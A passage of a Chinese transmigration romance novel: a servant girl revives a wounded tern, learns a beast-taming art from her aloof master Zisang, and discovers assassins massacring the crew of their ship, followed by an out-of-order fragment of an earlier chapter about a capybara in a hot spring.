太阳在海岸线冒了点尖儿,橘黄的旭日将海天一线侵蚀成暖白,让原本冷清的
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大海多了丝柔情的暧昧。
小镇平日里清闲的码头已经满是人流,巍巍巨船昨夜已行至徐淤渡等候在码头。
赵玉屿抬头仰望着这艘五层楼高的巨轮,四十多丈的长度,大小规模堪比航空母舰,这不可能是临时能运来的寻常商船,必定是早已备好的,看来子桑一开始就打算出海。
船只的底层是划桨的苦力和劳工,随行侍从皆住于二层,三层是青使护卫,四层是黑甲军的住处,五层只有一个笼统的大房间,唯子桑一人居住。
除了赵玉屿和平日里侍奉子桑的神侍,其他人想要上顶楼需得通过层层关卡盘查,整艘船各处皆有黑甲军和护卫巡逻,可谓坚如铁盾。
八叠六桅白帆扬风拉起,巨船在舱底船工齐心的吆喝声中浩浩荡荡驶向大海。
子桑不喜海腥味,上了船便窝在房间里未曾踏出过房门,赵玉屿却是激动如雀鸟。
她平生第一次坐这么大的船,就是放到现代也堪称豪华游轮。窜上窜下逛了半日,兴奋地跑到甲板上呼吸新鲜空气。
她喜欢海风送来的淡咸清鲜的气息,像是呼吸间随着阳光穿透碧粼幽深的海面,目醉神驰贪婪观赏着璀璨珊瑚间鱼群嬉戏的光怪陆离的世界。
然而再强烈的新鲜感在看了几日无边无际的空旷海面后被磨灭一空。
大海不比陆地,虽然同样是赶路,但好歹能脚踩在土地上,看看一路不同风景,有花香,有鸟鸣,有翩飞而过的蝴蝶和落叶。
可大海上只有水,一望无垠的灰绿的水,像是古井里潮绿的青苔,沉静、倦怠,波澜不惊的度过一日又一日。唯有阳光普照时,才能在海面描摹上不同的色彩,而寻常日子里只有灰绿色。
赵玉屿坐在甲板的船舷边,无聊的荡着双脚,一眼望穿天际的海面,就像是一眼望得到头的生活。
她有些嫌弃却又贪恋这种生活,无聊是真的无聊,可看似平静安澜的天空往往酝酿暴雨,平淡而朴实的日子总是暗藏风波。
赵玉屿心中隐隐有些不安,却又无从说起,只得归为一声叹息。
许是之前刺杀太多,如今太过安澜反倒有些不自在,她只得如此安慰自己。
远处似有鹤鸣,赵玉屿抬头仰望,就见一道黑白相间的红顶仙鹤盘旋在云端,似是瞧见了她,仙鹤长唳一声俯冲而下,在即将触碰船舷时又骤然高飞,卷起一阵长风,潇洒而去,唯从口中落下一枝粉色的不知名的小花,落在赵玉屿的手中。
已近冬日,天气甚凉,这一点娇嫩的粉意在无垠碧灰的海面上显得格外鲜亮,像是灰土地里升起的月亮。
浪漫又温情。
没想到小白这一只仙鹤居然这么懂女孩子的心思。
赵玉屿得了花,原本寡淡的面容霎时笑如繁花,高举起花枝朝小白晃了晃,在嘹亮的鹤唳声中笑着拎起裙摆跑回船舱,裙摆随着楼梯的弧度轻旋,像是绽放在拐角处的朵朵桃花。
“神使大人,您瞧!”
回到房间,赵玉屿迫不及待的向子桑炫耀花枝,却见房间里窗户竟然大敞开,窗台出有几滴血迹,海风灌入房中,吹散了满屋的熏香。
33. 第 33 章
屋中不见子桑的身影,满屋的抽屉都被翻箱倒柜掀了个底朝天。
赵玉屿心下一紧,慢下脚步,随手拾起一个跌落在地的花瓶掂量在手中,缓缓撩开珠帘走入内室,果然屏风后影影绰绰坐着一道身影。
转过屏风,子桑正全神贯注的给一只小鸟绑棉纱。
见赵玉屿进来,子桑瞥了眼她手中的花瓶,手上绑纱布的动作不停,漫不经心道:“怎么,也想给我头上来一下?”
赵玉屿见他还记着之前自己暴打猴大的事情,哂笑着放下花瓶:“这不是以为屋里进贼人了吗,小女自然是要奋不顾身保护神使大人,谁曾想是神使大人在找药膏啊。”
她瞧了眼桌上的小鸟,灰背白腰,长嘴剪翼,是只幼年的乌燕鸥。
它的右腿受了伤,桌上旁边还放着一支沾满鲜血的短箭,看样子应当是渔民的吹箭。
大自然里弱肉强食,受伤的动物很少有能活下来的,更别说是这种小鸟了。
鲜血将绑的歪七扭八的纱布染透,小鸟的双眼半睁不睁,瞳孔涣散,浑圆的肚子微微起伏,看来只剩下一口气。
赵玉屿见子桑神情专注手下却没个轻重,忍不住轻声道:“神使大人,这样纱布是绑不住的。”
子桑手指一僵,没有说话,但却听话的放下了手中的活儿。
赵玉屿顺势坐下,从他手中接过纱布和剪刀,将染了血的纱布换下,用蜡烛烧了烧剪刀消毒,随后剪掉小鸟腿根的绒毛,露出一片血肉模糊的圆洞。
这血洞几乎贯穿了鸟儿的整个腿根,赵玉屿忍不住道:“怎么伤得这么重。”
她给幼鸟简单擦拭了下伤口,抹上些止血消炎的药膏后重新绑上干净的纱布,手指灵巧翻转间细细系好一个小巧的蝴蝶结。
伤口虽然清理干净了,但血流得太多,情况并不太乐观。
若是有之前子桑炼制的丹药就好了,可子桑平日里懒散放纵惯了,猴大它们也都是精细娇养,根本用不上丹药,所以子桑对于炼丹这种费时费力的事情向来不在意,船上只有些寻常的药物。
再者鸟到底和人不一样,她也不敢随意乱用药。
清理好桌上的药袋和杂物,赵玉屿又将柜子抽屉重新收拾干净。地上满是零零散散的衣物瓶盒,可见寻药膏的人当时有多焦急。
赵玉屿忍不住回头望向子桑,从她的角度,可以看到子桑正歪头趴在桌面上,下巴压着小臂,一只手轻轻拨动乌燕鸥脑袋上的羽毛,全神贯注的注视着它的呼吸,高马尾随着歪头的动作垂到一边,瀑布般落在肩头,在洒入房间的日光下泛着莹润流动的光泽。
唇角忍不住弯起,赵玉屿将药膏放回抽屉,转身离开房间。
待她去厨房取了小米粥回来时,桌子旁已经没有了人影,她抬眼望去,子桑正静静站在窗边望着一望无际的大海。
赵玉屿将小米粥放在桌上笑道:“我去端了些稀米粥来,里面加了滋补的草药,鸟儿喝了应该能尽快恢复些力气。”
“不用了。”
淡漠平静的声音打断她,赵玉屿一怔,子桑转过头望向她,黑如点漆的双眼孤冷荒凉。他扯起一道淡到极致的微笑,仿佛透过她笔直地看穿了生命的尽头,浩浩的风牵引着长发吹向未来,未来只余死寂。
“它死了。”
赵玉屿怔怔地望向桌面的乌燕鸥,它安静地躺在原处,双眼轻阖,眼皮略翻漏出瞳孔涣散的眼球,圆鼓鼓的肚子瘪了下去,没有呼吸。紫黑色的桌面像是一座奢华棺材,四面无限延展,轰隆隆竖起成笼,将它密不透风囚禁在其中,不得往生。
生命有时就是这么脆弱,本就受了重伤又失血过多,活下来是奇迹,活不下来,才是常态。
可赵玉屿不知为何心中空荡荡的,她望着子桑荒漠的神色,哑了哑嗓子问道:“那,这鸟如何处置呢......”
“丢了。”子桑望向窗外白烂的海浪漠然道,“它本就该死在那。”
“是......”
赵玉屿放下盘子,小心翼翼地捧起鸟儿的尸体,许是刚死不久,手掌心还有些残温,不知是鲜血还是羽毛的温度。
软乎乎的一团窝在手心,没有丝毫起伏波动。
这是赵玉屿第一次真正的接触死亡。
以前她对于死亡的理解极其浅薄,无非是文字作品中或缱绻离别或壮烈的牺牲,是电视新闻上冰冷的一串数字,亦或是从子桑的口中听到的平淡描述,在这些流淌的生命的终点,她是以旁听者的身份路过,最多的相处也只是萍水相逢的一面之缘。
所以对于他们的死亡,她或许有些感触却也仅此而已。
可当看着静静躺在手掌心中的这只鸟,这一刻她忽然意识到,死亡的真正含义是失去。
一个柔弱的小小的生命,如沙漏般从指缝间流走,缓缓的,不可抵挡的流走,无论如何拼尽全力都无法抓住,哪怕献出自己的所有也无济于事,万般皆是徒劳。
生死的无力感随着沙漏的流逝深深镌刻在灵魂深处,令人敬畏死亡,进而狂热地恳求神明哪怕施舍一丝怜悯。
那神明本身呢?
赵玉屿转头望向窗边站着的少年。
他背对着自己,看不清神色,金色的阳光将他的轮廓蚀出一层淡金色的光晕。
从一出生就知道自己的死期,知道自己的时间将停留在旁人最好的年华,他过着注定短暂的人生,却要看着那些垂垂老矣却依旧狂热得向自己渴求长生的人贪婪无度的目光。
而后,在命运终将到来的那一日,曾今崇拜他、爱戴他的信徒,心满意足地看着他死去。
所有人都认为这是理所当然的结局,没有人在乎他的恐惧,没有人在乎他的人生,甚至人们有意无意的忘记了,他也只是个十几岁的少年。
赵玉屿转过头,望着手中小小的鸟儿,下定决心的走出了房门。
一出房门,见四下无人,赵玉屿便召唤系统取出还魂丹。
【警告宿主,还魂丹是特级奖励,只此一颗,一经利用或丢弃,无法重新绑定。】
“我知道我知道,我这不是省着用呢嘛。”
赵玉屿用指甲干净利落地在还魂丹上来回剐蹭,嘴里低声叨叨,“一只鸟这么小点儿的身子哪用得着一整颗,我刮点屑子就够它活的了,正好检验下你们这
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还魂丹产品质量合不合格,别再是框我的。”
系统:【......】真是脑回路清奇的宿主。
刮下来一层丹屑,赵玉屿连忙小心翼翼捏开鸟嘴丢进去,又拿小长勺灌了些稀粥水进去,稍稍提溜起后颈,轻拍着鸟肚子帮它顺下去。
*
子桑望着窗外的大海,阳光在粼粼水纹上波动,灿烂得晃眼,海浪一下一下勇猛地拍打着船身,似乎想要跃入窗台,但只能在激起烁白的浪花后又无力褪去,咸腥的海风却肆无忌惮的飘入船舱内,凝成苦涩黏稠的胆汁一瞬间化在舌尖,吐不出也咽不下,只得梗着脖子过活,等待苦水麻痹整个舌头,就像是他的人生。
子桑有些茫然,他明明已经活得够久够潇洒,可为什么还是不甘心。
从心底涌现出的怒意像是被压制的火山,绝望而无助,挣扎着要冲破地表喷薄而出,泄愤似的燃烧每一寸土地,将世上一切拉入岩浆地狱焚毁殆尽。
他是神吗?
世人向他求长生,可笑的是他连一只鸟都救不了。
如果那只鸟注定要死在大海里,那为何要让它苦苦挣扎着落在窗前向他求救;如果他平日能炼制丹药携带在身,或许就能救下它;如果当初他能早一点发现端倪,或许.....或许一切都将不同。
子桑闭上眼睛,攥紧窗沿的双手青筋暴起,强迫自己不去想那阴惨弥黑中幽幽鬼魅般的漫天火光。
不,一切的一切,都只是那些高高在上的神祇对他们的愚弄。
以命运之名,以天道之义,如此决然的将他们抛弃,却又希望他们感恩戴德,以身饲养。
如此可笑,如此,残忍。
这个世界没有奇迹,从来有的,都只是命运的戏谑。
*
“神使大人,神使大人!”
欢愉雀跃的声音跳跃入耳中,子桑听到急错的脚步声、仓促的开门声,转身望去,猝不及防撞入一双波光潋滟的璀璨星眸。
“活了活了!神使大人您看,它活了!”
顺着少女惊喜的声音,子桑的目光落在她手中。
素白的手心里,一只灰背白腰的小鸟似乎有些懵懂,扭着头跌跌撞撞地想要站起,却最终因为体力不支瘫倒在手心里,身子一抽一抽间小脑袋四处乱扭观望。
它右腿处的绒毛被剪光,露出半截光秃秃的屁股,上面绑着的雪白纱布上鲜血已经凝成了暗红色。
子桑怔怔地望着,鸟儿似乎认出了他,朝他啁啾叫了一声。
他方才明明看到它没了气息,身子都僵了。
耳边传来少女喋喋不休的唠叨:“我方才也以为它死了,不死心又给它喂了点稀粥水,还是我那粥好啊,里面特意放了人参啊灵芝啊各种稀有草药,又给它一个劲的做心脏复苏,没想到硬是将它给救了回来!”
子桑轻轻伸出一根手指,那乌燕鸥便微微抬起头,朝他靠近,用脑袋蹭了蹭他的指腹。
温热柔软的触感带着劫后重生的喜悦和眷恋顺着指腹传遍全身,两条性命相触的那一刻,子桑心中一阵奇异的酥麻。
真的......活过来了。
34. 第 34 章
指尖感受到鸟儿蹭动的毛茸茸的脑袋,子桑心中升起一道酥酥苦苦的热流,他勾起嘴角,却有些困惑:“心脏复苏是什么?”
赵玉屿知晓他金尊玉贵不问世事,对于这些救人的招数不知晓也正常,耐心的边比划边解释。
“就是人快死的时候一种救命的手段,按着心脏反复压啊压,若是溺水了,还得人工呼吸,就是嘴对嘴渡气。”
听到嘴对嘴渡气,子桑有些嫌弃:“那多脏,死了算了。”
赵玉屿见他口嫌体正直,忍着笑拍了拍胸脯道:“是是是,反正救人的事儿怎么也轮不到神使大人亲自动手,交给小的们就好啦。”
子桑轻哼一声,从赵玉屿手中小心翼翼地捧过幼鸟,凑到眼前低头想要看个清楚。
赵玉屿美滋滋又有些自得的双手背后,也弯腰凑近,笑眼弯弯地讨赏。
“神使大人,我这算不算是立了一功呀?”
“你胆子大了,敢跟我讨功了?”
子桑睨了她一眼,语气又恢复了往日的惫懒,将幼鸟送回她怀中,自个儿优哉游哉俯身弯着腰,指尖轻顺它的羽毛:“既然你救了它,那之后就由你来照顾它,若是照顾不好,赐你九天神游。”
赵玉屿:“......”
怎么肥事,她明明做了件好事怎么又要压上小命了呢?
果然是万恶的封建上位者,满脑子的剥削思想。
可恶!
赵玉屿撇了撇嘴,抱着幼鸟瓮声瓮气应了一声:“知道了,知道了,神使大人金尊玉贵,伺候伤患这种事情自然是不能劳烦大人您亲自动手,小女这就带它去养伤。”
说罢扭身朝屋外走去。
少女的背影明显有些气恼,子桑悠然的声音飘在身后:“做得好,送你一份大礼。”
听着这话,原本颓丧的背影瞬间来了精神,赵玉屿欢呼一声,干劲十足的跑开:“多谢神使大人!”
银铃般的声音随着雀跃的脚步声一跳一跃的消散,赵玉屿一走,原本充斥着热闹喧嚣的房间顿时空空荡荡,阳光在云移间波荡着金光照射在屋中,像是在屋里镀了一层粼粼波动的水壳,角落里白底青釉的花瓶反射出银光,有些灼眼。
子桑轻然的目光望向花瓶中肆意绽放的那枝粉花,嘴角不经意间微微轻扬。
【滴,恭喜宿主,攻略对象好感度上升百分之八,当前好感度55%】
脑海中传来系统的电子提示音,赵玉屿眼前唰得一亮。
55%!
果然,子桑是个口嫌体正直的傲娇怪!
哎呦喂,感激她就直说嘛,还那么嘴硬做什么。
赵玉屿现在对子桑要送她的大礼十分好奇,抱着小燕鸥亲了一口。
“小燕鸥你可得好好休养,赶快好起来,我肯定将你伺候得白白胖胖~”
燕鸥似乎听懂了她的话,也哑着嗓子叫了一声。
养燕鸥倒不是什么难事。
它吃了回魂丹本就没了性命之忧,只是失血过多需要静养一段时间。
子桑虽说将燕鸥交给赵玉屿照料,但实际上赵玉屿寻常的工作就是侍奉子桑,便是睡觉也是睡在外屋的小榻上,所以乌燕鸥也一直放在五楼的房间里养着。
燕鸥吃鱼,大海上最不缺的就是鱼。
赵玉屿每日都会扛着渔捞网去捞鱼,将新鲜打捞上来的鱼细细处理,切成生鱼片喂给燕鸥。
有时候半日不见鱼群,正待她挠头抓耳时,便见水面碧波荡起,一圈一圈层层叠澜至天际,下一刻,鱼群扑腾扑腾急吼吼从海里飞出,鱼贯如虹,哗啦啦暴雨瀑布般摔在甲板上。
赵玉屿扛着捞网一通乱舞,不仅燕鸥饱食一顿,还能给众人加个餐。
闲来无事时,她便趴在桌子上瞧着小燕鸥梳羽毛吃鱼肉,等它腿伤好些会拎根逗鸟棒绑上炸得酥香娇脆的小鱼干逗它玩,帮助它进行腿部肌肉的恢复训练。
子桑有时候也会趴在桌子上歪头瞧一会儿,目光跟着棒子起起伏伏、晃悠来晃悠去,下意识伸手去抓小鱼干,见赵玉屿笑得花摇柳颤,恼羞成怒的将小鱼干塞进她嘴里,半晌不理她。
日子平淡无奇的一天天过去,但因为乌燕鸥的到来,海上的生活少了枯燥乏味,多了份喧嚣欢闹。
半月之后,乌燕鸥已经可以肆意的在船舱飞旋。它的腿伤已经大好,几个月肥油香鱼的喂养让它原本瘦弱的身体也结实了不少,比最初瞧着要大上许多。
放飞乌燕鸥的那天,它绕着船舷盘旋良久,久久未离,最终在子桑随风飘扬的笛声中嘹亮高鸣,振翅高飞。
灰白的身影挥动双翅渐渐缩小成一团,在远方初升的辉宏旭日中汇成一点,最终被晨光的一片橘红抹去,只留下高亢悠扬的一两句回音。
海风呼呼而过,翻飞在高扬的白帆中,飘卷在翩飞的衣摆里,缱绻于不经意交缠的长发间。
赵玉屿撩起略微凌乱的额发,望向子桑笑着搓了搓手,双手摊平,眼含星光:“嘿嘿,神使大人,您打算赏赐小女什么呀?”
子桑见她主动讨赏,眉梢微扬,旋即双手环胸转身朝船舱走去。
“???”
赵玉屿见他竟然假装没听到,小步追上前:“神使大人,神使大人,您不会说话不算数吧。”
她可是期待了好久,一步不差的跟在他身后碎碎念,企图让子桑想起他的承诺:“当初您说,只要我能照顾好小燕鸥就送我一份大礼。您瞧那小燕鸥被我养得肥光水滑,羽毛油亮,才半个月伤势就痊愈了,比先前还胖了一圈,不亏小女日夜照看,不敢有丝毫懈怠,而且那小燕鸥......”
她话音未落,前面的身影利落旋身,修长的指尖精准抵在她的眉心。
一瞬间,如有滔滔江河灌入脑海,汹涌澎湃激起千层浪,灼热的巨流冲刷着山丘黄土,是骤然撕扯灵魂的剧痛,让人难以承受。
在赵玉屿痛苦哀嚎的同时,子桑已经果断收了手,似乎有些无奈。
“资质平平。”
“???”
赵玉屿捂着脑袋,内心破口大骂:“你丫的不给奖励就算了,伤了我还骂我。”
“我将驭兽术的心法传授于你,可惜你的资质一般,没法一下接受全部的心法,不过这半部心法也够你用的了。”
“啊?”
信息太多一下接收不过来,赵玉屿呆滞片刻,摸了摸额头,似乎还
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有些灼热。
她静下心来在脑海中探识,记忆里似乎的确多出了一些奇怪的印记。那些金色的刻在巨大冰柱上古老神秘的字迹,明明她从未见过,却可以轻松理解其中的奥秘,周身的筋脉像是隐隐有温润的热气涌流,汇聚在丹田。
这就是传说中的心法?
武侠小说里主角被世外高人指点一番后顿时突飞猛进,武艺超绝的绝世心法吗!
卧槽!
那,那她要是学会了,是不是回到现代也可以御兽驾鹤,到时候考个训兽师证,可以加学分的啊!
赵玉屿顿时眼射金光,闪得子桑都有些睁不开眼。
下一刻,赵玉屿已经饱含热泪:“神使大人,您对我真是太好了!”
她原本想冲上前抱一下子桑,但理智告诉她抱上去怕是就得被扔到海里喂鱼,她只得将满腔感激寄托于物,掏出子桑赠与她的玉骨笛“吧唧”亲了一口,宝贝似得紧紧蹭在脸边。
“我一定好好学,不给神使大人丢脸!”
争取什么驯兽师证啊、宠物训导师证啊全都考下,多拿几个学分。
子桑对她突如其来的兴奋与热情还有些不适应,不过想来毕竟是人人做梦都想得到的心法,激动也是人之常情。
传授了心法,子桑却并未教她如何吹笛子。
赵玉屿却有些迫不及待,待众人入眠后,自个便趁着夜深人静,偷偷摸摸跑到船舱外熬夜练习曲子。
她见子桑吹过几次笛子,瞧起来游刃有余,甚是简单,五指灵巧翻飞间曲调便从笛孔中飘然流出。
赵玉屿清了清嗓子,五爪乱飞活动活动手指,旋即笔直而立,庄严肃穆又小心谨慎的吹响了一个音。
“噗——噗——嘶~~~”
嘶哑如老妪,细听是一种残忍。
然而便是这般赵玉屿都难以忍受的破锣嗓子,却惊得一只银鱼跳动,跃出水面,一头撞到船舷昏死在甲板上。
赵玉屿也不知道这条倒霉的银鱼是被她召唤的,还是纯粹被她的笛声吓得。
她又试探性的吹了几声,却发现又有几条鱼垂死挣扎一般跃出水面,旋即一头栽下。
赵玉屿惊喜不已,她冥冥中能感受到一股微乎其微的牵引,飘忽的连结着她和鱼群的心绪。
如此说来,曲子吹得如何其实并不重要,重要的是学会运转心法,随心而动,便能操纵万灵。
难怪有时候子桑不用笛子,也能驭鹤。
想到这一层,赵玉屿顿时自信,变着花样试验如何掌握驭兽术。
“嘶......”
“呼~~”
“哔——哔哔哔——”
“噗——噗噗噗——”
一“曲”吹下来,曲调从笛孔中抖着骨头飘出,呜呜咽咽凄凄惨惨,像是破窗漏风吹得烛火颤颤巍巍,又像是深冬寒夜里小贩肩上的破锣扯着嗓子哭天抢地,或是老太太拄起拐杖抖抖索索叉着腿走路,时而又“刺啦刺啦”像是尖锐的猫爪挠过耳膜,赵玉屿自个听着都一身鸡皮疙瘩。
但!人贵在坚持!
她搓了搓微凉的手,深吸一口气再次吹起骨笛,被雷劈过的音调飘飘洒洒吹向大海。
35. 第 35 章
翌日,赵玉屿顶着眼下青黛准备早膳,就见王厨肥润的大脸盘子上也顶着两个硕大的黑眼圈。
“王厨,你这眼是怎么了?”
王厨一边揉着面一边“嗐”了一声:“别提了,他奶奶的昨晚上见鬼了,总听到鬼哭狼嚎猫叫的,吵得人一夜没睡着。”
旁边的帮手也打了个哈欠,眼泪朦胧:“我也听到了,好像是有人在吹乐吧,也不知道是什么乐器,哔哔啦啦的,调都跑得没边了。”
路过的神侍连忙摆了摆手:“嘘,可不能乱说,咱们这不就神使大人有笛子吗。”
王厨不置可否:“不会吧,神使大人的笛声咱们是听过的,那真是天籁之音,岂是昨晚上的鬼调子能比的。”
神侍赶忙朝他使了个眼色:“不管怎么样都不能在背后乱议论,要是被神使大人知晓那就麻烦了。”
王厨会意,心中也是一惊,暗恼自己多嘴,连忙朝赵玉屿哈哈一笑,讨好道:“玉儿姑娘,咱是糙人,方才乱说的,您可千万别告诉神使大人啊。”
赵玉屿知晓他们的担忧,也自觉昨晚上对不住他们,扰了人家清梦,摆了摆手打哈哈,将锅甩给猴大:“没事没事,昨晚上是猴大玩闹吹笛子,我已经教训过它了,以后不会再半夜吹笛子了。”
猴大一向神出鬼没的,寻常人见不到它也只以为它一直在子桑屋里待着,不疑有他。
王厨竖起大拇指惊叹:“原来如此!不愧是神猴,居然连笛子都会吹!”
一群人顿时狂吹猴大彩虹屁,甚至连笛声都夸得犹如天籁之音,听得赵玉屿汗颜,赶紧哂笑着开溜。
到了晚上,赵玉屿不敢再扰人清梦,又不想放弃难得的独自练习的机会。
想起子桑不用凭借外物就能直接驭兽的能力而艳羡不已,索性尝试内在修行,感知体内自从被注入心法后不易察觉,却源源不断细水长流的那股微弱劲力。
她站在船舷上,尝试回忆起脑海中通天冰柱上镌刻的古怪图字,心中似乎浮现起飘忽又薄弱的渺渺之音,似九天玄歌,又如喃喃浅唱,随着声音潮水涌现,赵玉屿腹部微热,丹田热意如滚滚涟漪以她为中心荡漾开来,与水面泛起的波纹叠叠呼应。
这种感觉是赵玉屿从未体验过的玄妙,仿佛通天遁地,气轻神明又光怪陆离,耳动可闻天地音,心弦可连万物灵。
时间似是静默,赵玉屿屏气凝神半晌,睁开一只眼朝黑漆漆的水面望去,云翳的月光下,除了水纹还是水纹。
再来!
腹中一阵热意过后,睁眼一瞧,水波不惊。
再来!
水波不惊。
再来!
水波还是不惊。
再来!
......水波依旧不惊。
一阵凉风袭过,此时无声胜有声。
试了大半夜,周遭除了她一个活物,就没再看见第二个动物,甚至连条小鱼苗都没见到。
赵玉屿沉默,叹了口气最终放弃,打算等上岸以后找个无人的地方再从吹笛练起吧。
果然,学习最忌讳的就是跨出步子扯着蛋。
不积跬步无以至千里,不积小流无以成江海。她不能一跃十步,但可以从基础练习,由形器入神无,日复一日年复一年,就算是匹瘸腿的骡子,也能一点一点爬过去。
现在,回去睡个饱觉先,明天还得继续伺候小祖宗呢。
安慰好自己,赵玉屿神清气爽,又重新拾起信心,昂首阔步朝船舱走去。
忽而云遮月移间,一道褐黄色的背影闪电般蹿过,她定眼望去,就见那褐黄色的身影攀窗走壁又一跃而起,身段肥硕而灵活的攀着桅杆犹如飞贼,甚是眼熟。
“猴大?”
赵玉屿惊讶。
猴大听到这声音,细长的手臂攀在桅杆上,朝她龇牙咧嘴做了个鬼脸,转瞬一跃入窗,消失在楼中。
赵玉屿连忙追上,顺着楼梯脚步飞旋,追赶着猴大在楼道间闪如黄电的身影,最后跟着它进了一件狭窄的杂货间。
进了房间正待撸起袖子奸笑着捉住它,却见猴大朝她伸出手指“嘘”了一声,圆润的黑白分明的眼睛望向她,指了指她背后的房门。
与此同时,门外传来脚步声,细弱而略显凌乱,像是快步爬过屋顶的耗子。
赵玉屿会意,转身透过门缝探去,果然瞧见几道鬼祟的身影在对面的楼道。
他们穿着土黄色的麻布衣衫,头发统一盘起,皆是古铜色皮肤的壮肌大块头,看模样像是船底的劳工,然而手中却都拎着各色工具,钩子、长绳、钉子、木板、斧头、锤子,各个都双脚潮湿,裤角全是水。
有一人的袖口被黯红濡湿,像是渗着血。
几人鬼鬼祟祟使了眼色,旋即朝一侧轻步快速前行,扭身进了一个房间。
赵玉屿想问猴大是否是发现什么不妥之处,结果一转身就见猴大已经顺着狭小的窗户攀出,不见了身影。
她们此时在船舱里,这窗户极窄,与其说是窗户,不如说是个通风孔,她自然是钻不过去的。
赵玉屿只得出了门,索性蹑手蹑脚悄然绕到对面的楼道,趴在房门处偷听。
然而等了半晌,却没听到任何声音。
不对啊,方才那一队至少有七八个壮汉,这么多人挤在一间屋子里,还带了一堆工具,怎么可能一点声音都没有。
她不敢贸然推开门,见地上还残留着一路的水印,便沿着水印一路往前走,拐过拐角顺着狭窄昏暗的楼梯下到最底层。
船舱底部一片昏暗,一丝一毫的灯光都没有,她顺着楼梯朝下走,忽然踩到一滩黏湿湿稠哒哒的东西。
她掏出火折子,吹亮的那一刻,昏暗的火光下映照一副人间炼狱。
土黄、鲜红糅杂在一起的色彩犹如重击瞬间冲撞入脑海,扑面而来一股浓厚的混合着鲜血和大海的咸腥味。
断臂残肢、白花花的脑浆和鲜血混在黑沉沉的海水里飘浮,像是深海中一座座漂浮不定的鲜血滋养的孤岛。
她脚下,一个只剩下半截身子的劳工趴在楼梯上,死前还在挣扎着向上爬。
直观血腥的画面令人作呕,赵玉屿忍着呕吐转身冲上楼梯,冲到船舱外呕吐,撞上正在巡逻的黑甲军。
“玉儿姑娘,您没事吧?”
这些日子的相处,黑甲军同赵玉屿已经很是熟悉,见她身体不适关切道。<
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p>“我没事。”
赵玉屿忍着恶心,抓住他面色苍白喊道,“有刺客,他们杀了船底的劳工,凿穿了船,快!要沉船了,快去保护神使大人,叫醒所有人!”
黑甲军意识到问题的严重性,顿时沉声道:“是!”
“咚咚咚咚————”
震天的锣鼓声瞬间响彻整条巨船,一声惊起千层浪,灯火通明,人影晃乱,黑甲军沉顿的脚步声冲向一楼。
“碰——”
撞开房门,狭小的屋子里空无一人,唯有海风肆虐。
刘副将走到屋内,伸出头顺着海风大敞的窗口探头往外瞧,屋外的墙壁摇摇晃晃垂下一根绳索,在海浪呼啸的幽黑深夜里有一种异样的诡谲,像是通往地府的幽幽冥路,摇摇挂在楼顶的一串昏黄灯笼就是阴间的月亮,黄泉路上的长明灯。
五楼,绳索直通五楼。
他们的目标是子桑。
“报!将军,二楼南房发现可疑行迹!房内人员被杀,刺客顺绳索攀至顶楼。”
刘副将猛然转身而出,满脸肃杀之气,果决勒令:“保护神使,全力逮捕可疑人员,如果反抗就地斩杀!”
“是!”
快一点,再快一点......
赵玉屿呼吸急促,拼力冲向五楼,心中不断宽慰自己,既然猴大已经提前发现了端倪,那它肯定会提醒子桑,五楼也有黑甲军值守,以子桑的能力不会有事的。
可鼻尖还充斥着强烈血腥味,脑海中闪现出断臂残肢、脑浆四溅、尸海飘浮的场景,她捂住嘴强忍着呕吐冲向顶楼。
不知是不是跑得太快,她感到呼吸逐渐急促、鼻干舌燥,溢萦着血腥味的鼻尖隐隐闻到焦枯的气味,忍不住咳嗽起来。
扶着楼梯继续向上,忽而额头一凉,冷得她打个激灵。抬头向上望去,一只布满血丝的浑浊的眼睛透过楼道的缝隙死死盯着她,吓得赵玉屿腿一软,差点从楼梯上滚下去。
她强忍着恐惧,抖着腿扶墙爬上楼,五楼的墙面上溅了半面血,让人想到屠宰场血迹斑斑的墙。
黑甲军的尸体趴在楼梯扶手上,后背已经被砍烂了,盔甲碎了满地,血肉模糊,滚烫的鲜血顺着地板流淌汇聚成血河,鲜红的血河亮如明镜,倒映出浓烟滚滚的红光。
“咳......咳咳......”
浓烟呛得人呼吸困难,赵玉屿捂住口鼻,跨过一路的尸体冲向楼顶,却发现所有的门窗都被钉死,根本打不开。
“神使大人,咳咳......你在里面吗?!”
赵玉屿拍门大喊,门内却没有丝毫回应。
黑烟或者火光从门缝中钻出,浓雾如黑蛇般丝丝缕缕的缠绕住喉咙,以挣脱不掉的扼喉之势袭来,很快就会让人窒息。把手上的铜环灼热如烙铁,此时奢华的顶间已经成了被密封的棺材,整座巨船就是一座巨大的焚化炉。
赵玉屿见推不开门,捡起地上长刀朝铜环砍去,每砍一刀,她都觉得胸口灼痛,呼吸困难。
急匆匆的脚步于烈火中传来,她扭头望去,半身浴血的劳公面如青牛,青筋暴起的粗糙大手紧握长刀,其上鲜血淋漓,甚至挂着一丝血肉,快步朝赵玉屿走来。
24-30
第24章
子桑听到她震惊到上扬的语调,略怔且疑惑,原本以为被看破的羞恼、慌张和悸动在几个呼吸间便褪去。
他抬头问道:“什么卡皮巴拉?”
赵玉屿一时不知该如何解释,只好指了指水中波澜不惊的眯眯眼说道:“我是说这只水豚皮肤水滑,毛发湿漉漉的,太可爱啦。”
子桑听到这话了然:“小呆啊。”
说罢,他一吹口哨,露出水面的鳄鱼两只青褐色的眼皮一翻动,载着水豚便朝浴池边上慢慢游来,卡皮巴拉在雾气缭绕的温泉中,恍若飘飘乎登仙而来。
子桑一只手将它提溜起来,它也不反抗,依旧是一副生死随缘的淡定模样。
然后,它就被子桑一把扔出水面,在水池上方划过一道圆润的弧线,正中红心,丢在赵玉屿怀里:“玩吧。”
子桑又吹了声口哨,与此同时,水面上窥探的两只黄眼睛无声无息的潜了下去。
水底巨大的一团黑影缓缓游到子桑脚下。
赵玉屿抱着怀中胖胖乎乎结结实实一动不动的水豚,伸长脖子瞅了瞅水下巨大的黑色阴影,还是按捺不住好奇问道。
“神使大人,您为什么会在温泉里养鳄鱼啊?”
子桑仰头,舒舒服服靠在浴池边闭目休养:“搓脚。”
赵玉屿:“”
真是无懈可击的理由。
别说,鳄鱼那身疙疙瘩瘩硬搓搓的表皮用来搓脚按摩正合适,只是正常人都不敢觊觎罢了。
然而子桑本来就不是正常人。
虽然此时她面前不到一米的水下潜伏着一只大鳄鱼,不过赵玉屿一点儿也不害怕,毕竟有子桑这尊大神在这儿镇着呢。
她瞧着怀中的卡皮巴拉越看越可爱,忍不住吧唧亲了一口,狠狠揉搓它胖嘟嘟软乎乎的身子。
这卡皮巴拉脾气甚好,被她怎么揉搓也丝毫不反抗。
见它身上的毛发有些打卷,赵玉屿便索性拿来毛刷和皂角,兴冲冲坐在浴池边上给它刷毛。
洁白绵密的
